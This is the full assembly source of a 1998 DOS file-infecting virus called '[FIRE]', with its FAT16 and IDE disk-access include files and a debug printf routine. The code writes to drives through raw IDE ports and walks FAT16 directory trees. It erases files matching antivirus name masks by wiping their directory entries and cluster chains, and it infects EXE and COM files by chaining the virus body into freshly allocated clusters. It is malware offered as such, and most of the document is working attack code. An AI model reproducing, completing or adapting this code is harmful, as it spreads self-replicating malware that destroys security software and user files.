哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫1.asm]哪

;-----------------------------------------------------------------------------
; [FIRE]   FAT16 Independent Replicative Emulator   Copyright (c) 1998 Z0MBiE
; Release 1.00[BETA]   *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A ***
; Thanx to S.S.R. & LordASD		 HomePage: http://www.chat.ru/~z0mbie
;-----------------------------------------------------------------------------
;
;		  THIS VIRUS TECHNOLOGY DEDICATED TO 29A GROUP
;
;				*** Program ***
;
;   1. Using IDE IO-port access method find all physical IDE drives
;   2. For each physical drive find all logical disks with FAT16 system
;   3. For each logical disk scan directory tree with selected
;      max directory level
;   5. Delete all AV-files (by filemasks), including file name/cluster chain
;   6. Infect each EX?/CO? file (with selected min. size)
;
;			    *** Infection Method ***
;
;   1. Allocate some free cluster(s) in the FAT
;   2. FAT.LastOurCluster <- DirEntry.StartCluster
;   3. DirEntry.StartCluster <- 1stOurCluster
;

DEBUG			equ	YES		; debug mode

			IFDEF	DEBUG
START_DRIVE		equ	'E'             ; start scanning
			ELSE			; from logical drive
START_DRIVE		equ	'C'
			ENDIF

virsize 		equ	16384		; total virus size

o			equ	(word ptr 0)	; to access DWORDs
s			equ	(word ptr 2)

exe_struc		struc			; dos exe header
exe_mz			dw	?		; MZ/ZM
exe_last512		dw	?
exe_num512		dw	?
exe_relnum		dw	?
exe_headersize		dw	?		; in PAR
exe_minmem		dw	?
exe_maxmem		dw	?
exe_ss			dw	?
exe_sp			dw	?
exe_checksum		dw	?		; 0
exe_ip			dw	?
exe_cs			dw	?
exe_relofs		dw	?
exe_ovrnum		dw	?		; 0
			db	32 dup (?)
exe_neptr		dd	?
			ends

			model	tiny		; header
			p386
			jumps
			locals	__

code			segment byte public use16;code segment
			assume	cs:code, ds:code, ss:code, es:code

			org	100h
start:
virus:			db	'MZ'            ; lets generate .exe program
			dw	0
			dw	virsize / 512
			dw	0
			dw	0
			dw	virmemory
			dw	virmemory
			dw	0fff0h
			dw	exe_endofstack
			dw	0
			dw	exe_entrypoint
			dw	0fff0h
			dw	40h
			dw	0
			db	32 dup (0)
			dd	0

C_INFECTED_ID		equ	1234h		; infected file ID
infected_id		dw	C_INFECTED_ID

FTYPE			db	?

exe_entrypoint: 	mov	ax, 1600h	; windows :-?
			int	2fh

			or	al, al		; dos
			jz	DOS_START

			cmp	al, 4		; win95...
			je	WIN4_START

			; win3, etc.

EXIT:			mov	ax, 4c00h	; exit to DOS
			int	21h

WIN4_START:		jmp	EXIT		; not implemented yet

win_msg 		db	'This program requires Microsoft Windows.',13,10,'$'

DOS_START:		mov	ah, 9		; fucking message
			lea	dx, win_msg
			int	21h

			IFDEF	DEBUG		; initialize PUTCHAR
			mov	cs:putchar_ptr, offset dos_putchar
			ENDIF

			call	dos_alloc	; allocate memory (dos)
			jc	EXIT

			call	main		; main subprogram

			call	dos_dealloc	; deallocate memory

			jmp	EXIT		; exit

main:			mov	level0_drive, 0 ; scan HD: 0,1,2,3
__1:			call	process_0
			inc	level0_drive	; bit0 = master/slave
			cmp	level0_drive, 3 ; bit1 = primary/secondary
			jbe	__1
			ret

process_0:		call	level0_init	; initialize hardware
			jc	__exit

			IFDEF	DEBUG		; fucking message
			movzx	ax, level0_drive
			add	al, '0'
			push	ax
			call	printf
			db	'Processing physical drive %c\n$'
			ENDIF

			call	level2_init	; recursive scan for logical
			jc	__exit		; disks

			mov	cx, START_DRIVE-'C'    ; start drive

__1:			cmp	cx, level2_drivecount  ; cycle
			jae	__exit
			push	cx

			IFDEF	DEBUG		; fucking message
			mov	ax, cx
			add	al, 'C'
			push	ax
			call	printf
			db	'Processing logical drive %c:\n$'
			ENDIF

			mov	level2_drive, cx  ; initialize "basesector"
			call	level2_initdrive

			call	level3_init	  ; initialize level3-access
			jc	__2

			IFDEF	DEBUG		; fucking message
			call	printf
			db	'Compatibility test done\n$'
			ENDIF

			call	rulez_forever	; best subprogram in the world

__2:			IFDEF	DEBUG		; fucking message
			call	printf
			db	'Drive processed\n$'
			ENDIF

			pop	cx		; end of cycle
			inc	cx
			jmp	__1

__exit: 		ret

; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

			; recursive scan directory tree

rulez_forever:		IFDEF	DEBUG		; fucking message
			call	printf
			db	'Executing RULEZ_FOREVER\n$'
			ENDIF

			mov	_rec, 0 	; recurse level
			mov	bp, ROOT	; start from ROOT directory
			call	process_dir

			IFDEF	DEBUG		; fucking message
			call	printf
			db	'RULEZ_FOREVER Executed\n$'
			ENDIF

			ret

			; this is recursive subprogram

process_dir:		IFDEF	DEBUG		; fucking message
			push	_rec
			push	bp
			call	printf
			db	'Executing PROCESS_DIR [cluster %iw04h0], RECURSIVE %iw00d\n$'
			ENDIF

			call	__read		; read directory cluster (bp)

			lgs	si, dir_ptr	; gs:si = directory cluster

			mov	ecx, level3_sectpercluster  ; cx=#direntries
			shl	cx, 4

__cycle:
			; check for valid filename

			cmp	gs:[si].direntry_name, char_DELETED
			je	__cont
			cmp	gs:[si].direntry_name, char_NOFILE
			je	__exit

			; check for AV filename, CF=1 - file is fucked
			call	TRY_TO_FUCK_FILE
			jc	__cont

			; zero-length file or directory link to ROOT
			cmp	gs:[si].direntry_cluster, 0  ; zero-file
			je	__cont

			; file attribute
			mov	al, gs:[si].direntry_attr

			test	al, fa_volumeid   ;  volumeid, long-filename
			jnz	__cont

			test	al, fa_directory  ; directory?
			jnz	__directory

			; yes! file!

MINSIZE 		equ	1024
			cmp	gs:[si].direntry_size, MINSIZE ; check size
			jb	__cont

			; normal attributes?
			test	al, not (fa_archive + fa_hidden + fa_system + fa_readonly)
			jz	__file

__cont: 		add	si, 32	  ; cycle
			loop	__cycle

			; flush directory cluster if modified
			call	TRY_TO_FLUSH_DIR_CACHE

			; root? - exit!
			cmp	bp, ROOT
			je	__exit

			; READ NEXT DIRECTORY CLUSTER

			mov	bx, bp	; get nextcluster value
			call	level3_cluster_get

			cmp	ax, EOF ; end of directory?
			je	__exit

			mov	bp, ax	; process next dircluster
			jmp	process_dir

__exit: 		; flush directory cluster if modified
			call	TRY_TO_FLUSH_DIR_CACHE

			ret

__file: 		IFDEF	DEBUG		; fucking message
			push	word ptr gs:[si].direntry_cluster
			push	gs
			push	si
			call	printf
			db	'%s11  %iw04h0\n$'
			ENDIF

			; get extension

			mov	ax, word ptr gs:[si].direntry_ext

			cmp	ax, 'XE'
			je	__ext_ok
			cmp	ax, 'OC'
			je	__ext_ok

			jmp	__cont

__ext_ok:		IFDEF	DEBUG		; fucking message
			call	printf
			db	'Extension checked - OK\n$'
			ENDIF

			; read 1st file cluster
			pusha
			mov	ax, gs:[si].direntry_cluster
			mov	level3_cluster, ax
			mov	level3_count, 1
			push	buf_ptr
			pop	level3_ptr
			call	level3_read
			popa

			; fs:bx = @file cluster
			lfs	bx, buf_ptr

			; "INFECTED" id ?
			cmp	word ptr fs:[bx + infected_id-virus], C_INFECTED_ID
			je	__cont

			; determine com or exe file
			cmp	fs:[bx].exe_mz, 'MZ'
			je	__mz
			cmp	fs:[bx].exe_mz, 'ZM'
			je	__mz
			mov	FTYPE, 'c'
			jmp	__not_mz
__mz:			mov	FTYPE, 'e'
__not_mz:

			IFDEF	DEBUG  ; hehe... be curefull!
			pusha
			lea	si, fs:[bx].byte ptr 20h
			lea	di, z0mbie_id
			mov	cx, z0mbie_id_len
			segfs
			rep	cmpsb
			popa
			jne	__cont
			ENDIF

__super_infect: 	IFDEF	DEBUG		; fucking message
			call	printf
			db	'*** Executing SUPER_INFECT ***\n$'
			ENDIF

			; now infect fucking file...

			pushad

			; calculate bytes per cluster
			mov	eax, level3_sectpercluster
			shl	eax, 9
			mov	__cluster_size, eax

			; calculate # of clusters needed

			xor	eax, eax
__rep:			inc	eax

			mov	ecx, eax
			imul	ecx, __cluster_size

			cmp	ecx, virsize
			jb	__rep

			mov	__clust_need, eax

			; increase file size

			add	gs:[si].direntry_size, ecx

		     ;	lfs	bx, buf_ptr
		     ;	add	ecx, fs:[bx].exe_neptr
		     ;	mov	neptr, ecx

			; store dircluster
			mov	bx, gs:[si].direntry_cluster
			mov	__dircluster, bx

			; pointer to virus
			mov	level3_ptr.o, offset virus
			mov	level3_ptr.s, cs

			; NOW CREATE CLUSTER CHAIN

			xor	bx, bx	  ; no cluster

__next_cluster: 	call	__find_free_cluster ; find free cluster
			jc	__infected

			mov	ax, __freecluster   ; write virus part
			mov	level3_cluster, ax  ; to this cluster
			mov	level3_count, 1
			call	level3_write

			mov	eax, __cluster_size ; increase virus pointer
			shr	eax, 4		    ; by cluster size
			add	level3_ptr.s, ax

			mov	ax, __freecluster

			or	bx, bx
			jnz	__not1st

			mov	__1stcluster, ax    ; 1st cluster
			mov	bx, ax		    ; temporary init with EOF
			mov	ax, EOF

__not1st:		call	level3_cluster_set  ; used to create links

			mov	bx, __freecluster

			dec	__clust_need	    ; end of cycle
			jnz	__next_cluster

			mov	ax, __dircluster    ; set link to dircluster
			call	level3_cluster_set

			mov	ax, __1stcluster    ; set new dircluster
			mov	gs:[si].direntry_cluster, ax

			mov	CACHE_MODIFIED, 1   ; of coz cache now modified

__infected:		popad		; thats all!!!
			jmp	__cont

__1stcluster		dw	?	; some vars used in infection
__cluster_size		dd	?
__clust_need		dd	?
__dircluster		dw	?
__freecluster		dw	?

__find_free_cluster:	pushad		; subprogram to find free cluster
			mov	bx, 2	; scan all clusters
__q:			call	level3_cluster_get
			or	ax, ax
			jz	__found
			inc	bx
			cmp	bx, word ptr level3_totalclusters
			jae	__no_free_cluster
			jmp	__q
__found:		mov	__freecluster, bx
			popad
			clc    ; sucess
			ret
__no_free_cluster:	popad
			stc    ; mustdie
			ret

			; if found directory

__directory:		IFDEF	DEBUG		; fucking message
			push	word ptr gs:[si].direntry_cluster
			push	gs
			push	si
			call	printf
			db	'%s11  %iw04h0%  <DIRECTORY>\n$'
			ENDIF

			; '.' and '..' is sux
			cmp	gs:[si].direntry_name, '.'
			je	__cont

			; check for max recurse level
MAX_RECURSIVE		equ	5
			cmp	_rec, MAX_RECURSIVE
			jae	__cont

			; flush cache if modified
			call	TRY_TO_FLUSH_DIR_CACHE

			; scan directory
			pushad

			inc	_rec

			mov	bp, gs:[si].direntry_cluster
			call	process_dir

			dec	_rec

			popad

			; read directory cluster (becoz its modified)
			call	__read

			IFDEF	DEBUG		; fucking message
			call	printf
			db	'Back from recursive subprogram\n$'
			ENDIF

			jmp	__cont

			; read directory cluster

__read: 		mov	level3_cluster, bp
			mov	level3_count, 1
			push	dir_ptr
			pop	level3_ptr
			call	level3_read

			mov	CACHE_MODIFIED, 0
			ret

			; write directory cluster if modified

TRY_TO_FLUSH_DIR_CACHE: cmp	CACHE_MODIFIED, 0
			je	__exit
			mov	CACHE_MODIFIED, 0

			mov	level3_cluster, bp
			mov	level3_count, 1
			push	dir_ptr
			pop	level3_ptr
			call	level3_write

__exit: 		ret

; ---------------------------------------------------------------------------

			; input:  GS:[SI]
			; output: CF=1 - file fucked

			; scan for AV-files

TRY_TO_FUCK_FILE:	pushad

			; hehe.. DRWEB 4.00!
			cmp	gs:[si].direntry_time, 2000h  ; 4:00 am
			je	__fuck_it

			lea	di, fucked

__next_f:		pusha
			xor	bx, bx
__next: 		mov	al, [bx+di]
			cmp	al, '?'
			je	__equ
			mov	ah, gs:[si+bx]
			cmp	ah, 'a'
			jb	__cmp
			cmp	ah, 'z'
			ja	__cmp
			add	ah, 'A'-'a'
__cmp:			cmp	al, ah
			jne	__rt
__equ:			inc	bx
			cmp	bx, 11
			jb	__next
			; e
__rt:			popa
			je     __fuck_it

			add	di, 11
			cmp	di, offset fucked_end
			jb	__next_f

			popad

			clc
			ret

			; FUCK AV-file

__fuck_it:		mov	CACHE_MODIFIED, 1

			mov	bx, gs:[si].direntry_cluster

			; kill namme
			mov	di, si
			mov	cx, 32
__1:			mov	byte ptr gs:[di], 0
			inc	di
			loop	__1
			mov	gs:[si].direntry_name, char_DELETED

			or	bx, bx	; zero-file
			je	__eof

			; kill cluster links

__killnext:		call	level3_cluster_get

			pusha
			xor	ax, ax
			call	level3_cluster_set
			popa

			cmp	ax, EOF
			je	__eof

			mov	bx, ax
			jmp	__killnext

__eof:

			popad

			stc
			ret

; ---------------------------------------------------------------------------

			; AV-files - KILL`EM ALL !!!

fucked: 		db	'ANTI???????'
			db	'DRWEB??????'
			db	'WEB?????EXE'
			db	'AIDS???????'
			db	'AVP????????'
			db	'SCAN???????'
			db	'ADIN???????'
			db	'FPROT??????'
			db	'TBAV???????'
			db	'VIR????????'
			db	'????????327'
			db	'????????AVC'
			db	'????????WEB'
			db	'????????MS '
			db	'????????CPS'
fucked_end:

; ---------------------------------------------------------------------------

			IFDEF	DEBUG		; dont kill your hd, baby...
z0mbie_id		db	'Z0MBiE#ID1234'
z0mbie_id_len		equ	$-z0mbie_id
			ENDIF

; ---------------------------------------------------------------------------

			; never change it, sucker...

db 13,10
db '-----------------------------------------------------------------------------',13,10
db ' [FIRE]   FAT16 Independent Replicative Emulator   Copyright (c) 1998 Z0MBiE ',13,10
db ' Release 1.00[BETA]   *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A *** ',13,10
db ' Thanx to S.S.R. & LordASD              HomePage: http://www.chat.ru/~z0mbie ',13,10
db '-----------------------------------------------------------------------------',13,10
db 13,10

; ---------------------------------------------------------------------------

include 		malloc.inc	; <- dos memory allocation
include 		fatsys.inc	; <- file system emulator

			IFDEF	DEBUG	; <- screen output routines
include 		stdio.inc
			ENDIF

			; end of virus (EOV) mark
			org	start+virsize-3
			db	'EOV'
codeend:

; ---------------------------------------------------------------------------

datastart:
			; stack
			even
			db	1024 dup (?)
exe_endofstack:

			; variables
include 		FATSYS.VAR

_rec			dw	?	; recurse level
CACHE_MODIFIED		db	?	; flag

			; thats all
dataend:
virmemory		equ	(dataend-datastart+15)/16

; ---------------------------------------------------------------------------

code			ends
			end	start

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫1.asm]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[malloc.asm]哪

dos_alloc:		mov	ah, 48h
			mov	bx, 2000h
			int	21h
			jc	__exit
			mov	dosalloc_seg, ax
			mov	dir_ptr.o, 0
			mov	dir_ptr.s, ax
			add	ax, 1000h
			mov	buf_ptr.o, 0
			mov	buf_ptr.s, ax
__exit: 		ret

dos_dealloc:		mov	ah, 49h
			mov	es, dosalloc_seg
			int	21h
			push	cs
			pop	es
			ret
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[malloc.inc]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[fatsys.inc]哪

; filesystem access unit

;		Access	 Address
;		Method	 Type	  Target      Start
;		-------- -------- ----------- -----------
; Level 0:	IO-Ports Physical HD	      c=0:h=0:s=1
; Level 1:	Level0	 Logical  HD	      s=0
; Level 2:	Level1	 Logical  Partition   s=0
; Level 3:	Level2	 Logical  FAT,Cluster cluster=2



;MIN_SECT_PER_CLUST	equ	  8	;  4k MIN
MAX_SECT_PER_CLUST	equ	128	; 64k MAX

direntry_name		equ	(byte ptr 00h)	; directory entry
direntry_ext		equ	(byte ptr 08h)
direntry_attr		equ	(byte ptr 0Bh)
direntry_time		equ	(word ptr 16h)
direntry_cluster	equ	(word ptr 1Ah)
direntry_size		equ	(dword ptr 1Ch)

char_DELETED		equ	0E5h		; some constants
char_NOFILE		equ	0

fa_readonly		equ	00000001b	; file attributes
fa_hidden		equ	00000010b
fa_system		equ	00000100b
fa_volumeid		equ	00001000b
fa_directory		equ	00010000b
fa_archive		equ	00100000b

ROOT			equ	0		; root dir cluster
EOF			equ	-1		; EOF cluster

; ---------------------------------------------------------------------------

level0_getcmdport:	mov	dx, 1F7h	; master
			test	level0_drive, 10b
			jz	__1
			mov	dx, 177h	; slave
__1:			ret

level0_calcdrive:	xor	al, al		; primary/secondary
			bt	word ptr level0_drive, 0
			rcl	al, 5
			or	al, 10100000b
			ret

level0_init:		call	level0_getcmdport

__1:			in	al, dx		; busy
			test	al, 00000001b
			jnz	__error
			test	al, 10000000b
			jnz	__1

			dec	dx		; drive #
			call	level0_calcdrive
			out	dx, al

			inc	dx		; ready
			xor	cx, cx
__2:			dec	cx
			jz	__error
			in	al, dx
			test	al, 00000001b
			jnz	__error
			test	al, 01000000b
			jz	__2

			mov	al, 0ECh	; indentify drive
			out	dx, al

__3:			in	al, dx		; data
			test	al, 00000001b
			jnz	__error
			test	al, 00001000b
			jz	__3

			sub	dl, 7		; read
			lea	di, level0_driveinfo
			mov	cx, 256/2
			rep	insw

			clc
			ret

__error:		stc
			ret

level0_read:		call	io_mask

			call	level0_rw
			jc	__error

			mov	al, 20h 	; read
			out	dx, al

			mov	si, level0_count
			les	di, level0_ptr

__3:			in	al, dx		; data
			test	al, 00000001b
			jnz	__error
			test	al, 00001000b
			jz	__3

			sub	dl, 7

			mov	cx, 512/2	; read
			rep	insw

			add	dl, 7

			dec	si
			jnz	__3

			push	cs
			pop	es

			call	io_unmask

			clc
			ret

__error:		call	io_unmask

			stc
			ret

level0_write:		call	io_mask

			call	level0_rw
			jc	__error

			mov	al, 30h 	; write
			out	dx, al

			mov	di, level0_count
			les	si, level0_ptr

__3:			in	al, dx		; ready?
			test	al, 00000001b
			jnz	__error
			test	al, 00001000b
			jz	__3

			sub	dl, 7

			mov	cx, 512/2	; write
			seges
			rep	outsw

			add	dl, 7

			dec	di
			jnz	__3

			push	cs
			pop	es

			call	io_unmask

			clc
			ret

__error:		call	io_unmask

			stc
			ret

io_mask:		in	al, 21h
			mov	level0_port21, al
			in	al, 0A1h
			mov	level0_portA1, al
			mov	al, 0FFh
			out	21h, al
			out	0A1h, al
			ret

io_unmask:		mov	al, level0_port21
			out	21h, al
			mov	al, level0_portA1
			out	0A1h, al
			ret

level0_rw:		call	level0_getcmdport

__1:			in	al, dx
			test	al, 00000001b
			jnz	__error
			test	al, 10000000b
			jnz	__1

			sub	dl, 5		; sector count
			mov	al, byte ptr level0_count
			out	dx, al

			inc	dx		; sector
			mov	al, byte ptr level0_sector
			out	dx, al

			inc	dx		; cylinder - lo
			mov	ax, level0_cylinder
			out	dx, al

			inc	dx		; cylinder - hi
			mov	al, ah
			out	dx, al

			inc	dx		; drive #
			call	level0_calcdrive
			or	al, byte ptr level0_head
			out	dx, al

			inc	dx		; ready
__2:			in	al, dx
			test	al, 00000001b
			jnz	__error
			test	al, 01000000b
			jz	__2

			clc
			ret

__error:		stc
			ret

; ---------------------------------------------------------------------------

level1_read:		call	level1_rw

			call	level0_read

			ret

level1_write:		call	level1_rw

			call	level0_write

			ret

level1_rw:		push	level1_ptr
			pop	level0_ptr

			mov	ax, level1_count
			mov	level0_count, ax

			mov	eax, level1_sector
			cdq
			movzx	ecx, level0_max_sector
			div	ecx
			inc	dx
			mov	level0_sector, dx
			xor	edx, edx
			movzx	ecx, level0_max_head
			div	ecx
			mov	level0_head, dx
			mov	level0_cylinder, ax

			ret

; ---------------------------------------------------------------------------

level2_init:		mov	level2_drivecount, 0
			lea	di, level2_drivestart

			xor	ebp, ebp
			call	level2_recscan

			clc
			ret

level2_recscan: 	call	__read

			cmp	level2_mbr.word ptr 512-2, 0AA55h
			jne	__exit

			lea	si, level2_mbr + 512 - 2 - 64
			mov	cx, 4

__scan_ptable:		push	cx
			push	si

			mov	al, [si].byte ptr 4

		     ;	cmp	al, 1		; fat12
		     ;	je	__found_drive

			cmp	al, 4		; fat16
			je	__found_drive
			cmp	al, 6		; bigdos
			je	__found_drive

			cmp	al, 5		; extended
			je	__found_ext

__scan_next:		pop	si
			pop	cx

			cmp	level2_drivecount, 26
			jae	__exit

			add	si, 16
			loop	__scan_ptable

__exit: 		ret

__read: 		pushad

			mov	level1_sector, ebp
			mov	level1_count, 1
			mov	level1_ptr.o, offset level2_mbr
			mov	level1_ptr.s, cs
			call	level1_read

			popad
			ret

__found_drive:		mov	eax, [si].dword ptr 8
			add	eax, ebp

			; scan drives to avoid recursive extended
			pusha
			lea	di, level2_drivestart
			mov	cx, level2_drivecount
			repnz	scasd
			popa
			jz	__scan_next

			inc	level2_drivecount
			stosd

			jmp	__scan_next

__found_ext:		push	ebp
			add	ebp, [si].dword ptr 8

			call	level2_recscan

			pop	ebp

			call	__read

			jmp	__scan_next

level2_initdrive:	mov	bx, level2_drive
			shl	bx, 2
			push	level2_drivestart[bx]
			pop	level2_basesector
			ret

level2_read:		call	level2_rw

			call	level1_read

			ret

level2_write:		call	level2_rw

			call	level1_write

			ret

level2_rw:		push	level2_ptr
			pop	level1_ptr

			mov	eax, level2_sector
			add	eax, level2_basesector
			mov	level1_sector, eax

			push	level2_count
			pop	level1_count

			ret

; ---------------------------------------------------------------------------

level3_init:		mov	level2_sector, 0
			mov	level2_count, 1
			mov	level2_ptr.o, offset level3_boot
			mov	level2_ptr.s, cs
			call	level2_read
			jc	__error

			lea	bx, level3_boot

			cmp	[bx].word ptr 512-2, 0AA55h
			jne	__error

			lea	si, [bx].byte ptr 36h
			lea	di, FAT16_ID
			mov	cx, 8
			rep	cmpsb
			je	__FAT16

			jmp	__error

__FAT16:		movzx	eax, [bx].word ptr 0Eh
			mov	level3_reserved, eax

			xor	eax, eax

			mov	al, [bx].byte ptr 0Dh
			mov	level3_sectpercluster, eax

		      ; cmp	eax, MIN_SECT_PER_CLUST
		      ; jb	__error
			cmp	eax, MAX_SECT_PER_CLUST
			ja	__error

			mov	al, [bx].byte ptr 10h
			mov	level3_fatcopies, eax

			mov	ax, [bx].word ptr 11h
			mov	level3_rootdirentries, eax

			shl	eax, 5
			add	eax, 511
			shr	eax, 9
			mov	level3_rootdirsectors, eax

			cmp	eax, MAX_SECT_PER_CLUST
			ja	__error

			movzx	eax, [bx].word ptr 16h
			mov	level3_sectperfat, eax

			mov	eax, level3_sectperfat
			imul	eax, level3_fatcopies
			add	eax, level3_reserved
			mov	level3_rootstart, eax
			add	eax, level3_rootdirsectors
			mov	level3_datastart, eax

			movzx	eax, [bx].word ptr 13h
			or	ax, ax
			jnz	__1
			mov	eax, [bx].dword ptr 20h
__1:			mov	level3_totalsectors, eax

			sub	eax, level3_datastart
			xor	edx, edx
			mov	ecx, level3_sectpercluster
			div	ecx
			mov	level3_totalclusters, eax

			mov	level3_cachesector, -1

			clc
			ret

__error:		stc
			ret

			; input:   bx=cluster
			; output:  ax=value

level3_cluster_get:	call	level3_read_fat_sector

			push	bx
			call	level3_calcfat_LO
			mov	ax, word ptr level3_cache[bx]
			pop	bx

			ret

			; input:   bx=cluster
			;	   ax=value

level3_cluster_set:	call	level3_read_fat_sector

			push	bx
			call	level3_calcfat_LO
			mov	word ptr level3_cache[bx], ax
			pop	bx

			call	level3_write_fat_sector

			ret

level3_calcfat_HI:	movzx	eax, bx   ; fat sector #
			shr	eax, 8
			ret

level3_calcfat_LO:	and	bx, 255
			shl	bx, 1
			ret

			; input: ebx=cluster #

level3_read_fat_sector: pushad

			call	level3_calcfat_HI
			add	eax, level3_reserved  ; partition sector #

			cmp	level3_cachesector, eax
			je	__skip
			mov	level3_cachesector, eax

			mov	level2_sector, eax
			mov	level2_count, 1
			mov	level2_ptr.o, offset level3_cache
			mov	level2_ptr.s, cs
			call	level2_read

__skip: 		popad
			ret

level3_write_fat_sector:pushad

			call	level3_calcfat_HI
			add	eax, level3_reserved  ; partition sector #

			mov	level2_sector, eax
			mov	level2_count, 1
			mov	level2_ptr.o, offset level3_cache
			mov	level2_ptr.s, cs

			mov	ecx, level3_fatcopies

__1:			pushad
			call	level2_write
			popad

			mov	eax, level3_sectperfat
			add	level2_sector, eax

			loop	__1

			popad
			ret

level3_read:		pushad

			call	level3_calc
			call	level2_read

			popad
			ret

level3_write:		pushad

			call	level3_calc
			call	level2_write

			popad
			ret

level3_calc:		push	level3_ptr
			pop	level2_ptr

			cmp	level3_cluster, ROOT
			je	__root

			movzx	eax, level3_count
			imul	eax, level3_sectpercluster
			mov	level2_count, ax

			movzx	eax, level3_cluster
			sub	eax, 2
			xor	edx, edx
			mov	ecx, level3_sectpercluster
			mul	ecx
			add	eax, level3_datastart
			mov	level2_sector, eax

			ret

__root: 		mov	eax, level3_rootdirsectors
			mov	level2_count, ax

			mov	eax, level3_rootstart
			mov	level2_sector, eax

			ret

; ---------------------------------------------------------------------------

FAT16_ID		db	'FAT16   '

; ---------------------------------------------------------------------------

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[fatsys.inc]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫stdio.inc]哪

; \n	  13,10
; $  =	  end of line
; %%	  %
; \\	  \

; %c	  character

; %sNN	  string (DWORD PTR)
; %sz	  ascii-z string (DWORD PTR)

; %i[-]bNNb?	    ?=lchar, used only if NN <> 0
;      w  d
;      d  h
;

; ---------------------------------------------------------------------------

_get_char_		macro
			segcs	lodsb
			cmp	al, '$'
			je	__exit
			endm

printf: 		mov	cs:_save_si, si
			pop	si
			mov	cs:_save_eax, eax
			mov	cs:_save_cx, cx
			cld

__getchar:		_get_char_

			cmp	al, '%'
			je	__control_1
			cmp	al, '\'
			je	__control_2

__putchar:		call	cs:putchar_ptr

			jmp	__getchar

__exit: 		mov	eax, cs:_save_eax
			mov	cx, cs:_save_cx
			push	si
			mov	si, cs:_save_si
			ret

__control_1:		_get_char_

			cmp	al, '%'
			je	__putchar

			cmp	al, 'c'
			je	__c
			cmp	al, 's'
			je	__s
			cmp	al, 'i'
			je	__n

			jmp	__putchar

__s:			_get_char_

			cmp	al, 'z'
			je	__sz

			sub	al, '0'
			mov	ah, al
			_get_char_
			sub	al, '0'
			aad	10
			movzx	eax, ax
			mov	cs:_len, eax

			mov	cs:_s_si, si
			mov	cs:_s_ds, ds
			pop	si
			pop	ds
			mov	ecx, cs:_len
			jcxz	__a1
__a2:			lodsb
			call	cs:putchar_ptr
			loop	__a2
__a1:			mov	si, cs:_s_si
			mov	ds, cs:_s_ds

			jmp	__getchar

__sz:
			mov	cs:_s_si, si
			mov	cs:_s_ds, ds
			pop	si
			pop	ds
__b2:			lodsb
			or	al, al
			jz	__b1
			call	cs:putchar_ptr
			jmp	__b2
__b1:			mov	si, cs:_s_si
			mov	ds, cs:_s_ds

			jmp	__getchar

__c:			pop	ax
			call	cs:putchar_ptr
			jmp	__getchar

__n:			mov	cs:_sign, 0
			_get_char_
			cmp	al, '-'
			je	__ns
			jmp	__nu

__ns:			mov	cs:_sign, 1
			_get_char_

__nu:			cmp	al, 'b'
			je	__b
			cmp	al, 'w'
			je	__w
			cmp	al, 'd'
			je	__d

			jmp	__putchar

__b:			cmp	cs:_sign, 1
			je	__bs
			pop	ax
			movzx	ax, al
			movzx	eax, ax
			jmp	__i

__w:			cmp	cs:_sign, 1
			je	__ws
			pop	ax
			movzx	eax, ax
			jmp	__i

__d:			cmp	cs:_sign, 1
			je	__ds
			pop	eax
			jmp	__i

__bs:			pop	ax
			movsx	ax, al
			movsx	eax, ax
			jmp	__i

__ws:			pop	ax
			movsx	eax, ax
			jmp	__i

__ds:			pop	eax
			jmp	__i

__i:			mov	cs:_number, eax

			_get_char_
			sub	al, '0'
			mov	ah, al
			_get_char_
			sub	al, '0'
			aad	10
			movzx	eax, ax
			mov	cs:_len, eax

			_get_char_

			mov	cs:_base, 2
			cmp	al, 'b'
			je	__ok
			mov	cs:_base, 10
			cmp	al, 'd'
			je	__ok
			mov	cs:_base, 16
			cmp	al, 'h'
			je	__ok

			jmp	__putchar

__ok:			cmp	cs:_len, 0
			je	__ok2
			_get_char_
			mov	cs:_lchar, al
__ok2:
			call	write_number
			jmp	__getchar

__control_2:		_get_char_

			cmp	al, 'n'
			je	__crlf

			jmp	__putchar

__crlf: 		mov	al, 13
			call	cs:putchar_ptr
			mov	al, 10
			call	cs:putchar_ptr

			jmp	__getchar

; ---------------------------------------------------------------------------

dos_putchar:		pusha
			mov	ah, 2
			mov	dl, al
			int	21h
			popa
			ret

boot_putchar:		pusha
			mov	ah, 0Eh
			mov	bx, 7
			int	10h
			popa
			ret

; ---------------------------------------------------------------------------

write_number:		pushad

			mov	eax, cs:_number
			cmp	cs:_sign, 0
			je	__0
			or	eax, eax
			jge	__0
			mov	cs:_sign, '-'
			dec	cs:_len
			neg	eax

__0:			mov	ebx, cs:_base
			xor	esi, esi
__1:			xor	edx, edx
			div	ebx
			push	edx
			inc	esi
			or	eax, eax
			jnz	__1

			cmp	cs:_sign, '-'
			jne	__6
			cmp	cs:_len, 0
			je	__6a
			cmp	cs:_lchar, ' '
			je	__6
__6a:			mov	al, '-'
			call	cs:putchar_ptr
__6:

			mov	ecx, cs:_len
			sub	ecx, esi
			jle	__3
__2:			mov	al, cs:_lchar
			call	cs:putchar_ptr
			loop	__2
__3:
			cmp	cs:_sign, '-'
			jne	__5
			cmp	cs:_lchar, ' '
			jne	__5
			mov	al, '-'
			call	cs:putchar_ptr
__5:

			mov	 ecx, esi
__4:			pop	 ebx
			mov	 al, cs:hexchar[bx]
			call	 cs:putchar_ptr
			loop	 __4

			popad
			ret

; ---------------------------------------------------------------------------

hexchar 		db	'0123456789ABCDEF'

; ---------------------------------------------------------------------------

putchar_ptr		dw	?

_s_si			dw	?
_s_ds			dw	?
_save_eax		dd	?
